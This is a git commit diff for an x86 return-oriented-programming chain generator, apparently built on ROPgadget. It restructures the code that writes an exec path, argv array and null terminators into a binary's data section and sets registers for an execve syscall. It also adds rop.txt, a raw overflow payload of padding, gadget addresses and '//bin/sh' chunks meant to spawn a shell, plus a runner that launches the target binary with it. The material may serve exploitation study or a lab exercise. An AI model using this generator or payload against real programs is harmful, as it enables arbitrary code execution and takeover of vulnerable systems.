neater address variable management

This commit is contained in:
Jack Bond-Preston 2020-11-28 15:31:36 +00:00
parent 45ab02464e
commit 6f6e1ed92c
4 changed files with 69 additions and 24 deletions

View File

@ -84,7 +84,6 @@ class ROPMakerX86(object):
return p return p
def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall): def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall):
sects = self.__binary.getDataSections() sects = self.__binary.getDataSections()
dataAddr = None dataAddr = None
for s in sects: for s in sects:
@ -103,12 +102,38 @@ class ROPMakerX86(object):
command = (4 - (len(command) % 4)) * "/" + command command = (4 - (len(command) % 4)) * "/" + command
command_chunks = wrap(command, 4) command_chunks = wrap(command, 4)
## EXEC (ARG0) \0 ARG1 \0 ARG2 \0 ... \0 PTR->EXEC PTR->ARG1 PTR->ARG2 ... \0 ##
args = []
# & ( "cat" \0 )
exec_addr = dataAddr
arg_addr = []
# setup argv array
# [ & "--run" \0 , & "--verbose" \0 ]
# note that the null bytes may be written "earlier", when the string is not len % 4 == 0
acc_addr = exec_addr + len(command) + 4
for i, arg in enumerate(args):
arg_addr.append(acc_addr)
acc_addr += len(arg) + (4 - (len(arg) % 4)) + 4
# & ( [ ptr -> "cat" ] ++ arg_addr )
argv_addr = acc_addr
env_addr = argv_addr + (len(args) * 4) + 4
del acc_addr
###################
# WRITE EXEC PATH #
###################
# write the command # write the command
address = 0
offset = 0
for i, chunk in enumerate(command_chunks): for i, chunk in enumerate(command_chunks):
offset = (i * 4) address = exec_addr + (i * 4)
address = dataAddr + offset
p += pack("<I", popDst['vaddr']) p += pack("<I", popDst['vaddr'])
@ -122,12 +147,10 @@ class ROPMakerX86(object):
p += pack("<I", write4where['vaddr']) p += pack("<I", write4where['vaddr'])
p += self.__padding(write4where, {}) p += self.__padding(write4where, {})
offset += 4
address += 4
# write null byte after command string # write null byte after exec path string
p += pack("<I", popDst['vaddr']) p += pack("<I", popDst['vaddr'])
p += pack("<I", address) p += pack("<I", exec_addr + len(command))
p += self.__padding(popDst, {}) p += self.__padding(popDst, {})
p += pack("<I", xorSrc["vaddr"]) p += pack("<I", xorSrc["vaddr"])
@ -136,28 +159,34 @@ class ROPMakerX86(object):
p += pack("<I", write4where["vaddr"]) p += pack("<I", write4where["vaddr"])
p += self.__padding(write4where, {}) p += self.__padding(write4where, {})
p += pack("<I", popEbx["vaddr"]) ##########################
p += pack("<I", dataAddr) # @ .data # Write Argument Strings #
p += self.__padding(popEbx, {}) ##########################
# write end + 4, after the null bytes
####################
# Write Argv Array #
####################
# put argvAddr in edx
p += pack('<I', popDst['vaddr']) p += pack('<I', popDst['vaddr'])
p += pack('<I', address + 4) # @ .data + {offset + 4} p += pack('<I', argv_addr) # @ .data + {offset + 4}
p += self.__padding(popDst, {}) p += self.__padding(popDst, {})
# write the data base address, which is the start of argv # write the exec path address to eax
p += pack('<I', popSrc['vaddr']) p += pack('<I', popSrc['vaddr'])
p += pack('<I', dataAddr) # @ .data p += pack('<I', exec_addr) # @ .data
p += self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst p += self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
# perform the write: eax -> [edx] # perform the write: eax -> [edx]
# write the exec path address to argv[0]
p += pack('<I', write4where['vaddr']) # {write4where['gadget']}") p += pack('<I', write4where['vaddr']) # {write4where['gadget']}")
p += self.__padding(write4where, {}) p += self.__padding(write4where, {})
# ARGV MUST BE FOLLOWED BY NULL POINTER # ARGV MUST BE FOLLOWED BY NULL
p += pack('<I', popDst['vaddr']) # { popDst['gadget'] } p += pack('<I', popDst['vaddr']) # { popDst['gadget'] }
p += pack('<I', address + 8) # @ .data + {offset + 8} p += pack('<I', argv_addr + (len(args) * 4) + 4) # @ .data + {offset + 8}
p += self.__padding(popDst, {}) p += self.__padding(popDst, {})
p += pack('<I', xorSrc["vaddr"]) p += pack('<I', xorSrc["vaddr"])
@ -166,22 +195,30 @@ class ROPMakerX86(object):
p += pack('<I', write4where["vaddr"]) p += pack('<I', write4where["vaddr"])
p += self.__padding(write4where, {}) p += self.__padding(write4where, {})
##################################
# Setup execve Args in Registers #
##################################
## MEMORY LAYOUT: PROGRAM, NULL, POINTER TO ARGV WHICH FOR NOW IS BACK TO THE START, NULL # ebx = exec_path
p += pack("<I", popEbx["vaddr"])
p += pack("<I", exec_addr) # @ .data
p += self.__padding(popEbx, {})
# ecx = ptr_to_argv
p += pack('<I', popEcx["vaddr"]) p += pack('<I', popEcx["vaddr"])
p += pack('<I', address + 4) # @ .data + {offset + 4} p += pack('<I', argv_addr)
p += self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx p += self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
# edx = _ (empty for env vars)
p += pack('<I', popEdx["vaddr"]) p += pack('<I', popEdx["vaddr"])
p += pack('<I', address) # @ .data + {offset} p += pack('<I', env_addr)
p += self.__padding(popEdx, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx p += self.__padding(popEdx, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
# eax = 0
p += pack('<I', xorEax["vaddr"]) p += pack('<I', xorEax["vaddr"])
p += self.__padding(xorEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx p += self.__padding(xorEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
# 11 = execve # eax ++-> 11
for i in range(11): for i in range(11):
p += pack('<I', incEax["vaddr"]) p += pack('<I', incEax["vaddr"])
p += self.__padding(incEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx p += self.__padding(incEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx

View File

@ -104,6 +104,7 @@ result = subprocess.run(
print(f" └─[🤩] All done! The ROP input is saved to {rop_file}!") print(f" └─[🤩] All done! The ROP input is saved to {rop_file}!")
if run: if run:
pwnlibexit._run_handlers()
print() print()
print(f"[ Run Program : ./{exec_file} {rop_file} ]") print(f"[ Run Program : ./{exec_file} {rop_file} ]")
os.execv(exec_file, [exec_file, rop_file]) os.execv(exec_file, [exec_file, rop_file])

4
rop.txt Normal file
View File

@ -0,0 +1,4 @@
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;вж‰
//biхlж‰
n/shхl°bхlж‰
хl°bхlЙЃ°bЪ¶Ъ¶Ъ¶Ъ¶Ъ¶Ъ¶Ъ¶Ъ¶Ъ¶Ъ¶Ъ¶у•

3
test.sh Executable file
View File

@ -0,0 +1,3 @@
#!/bin/bash
echo "$1"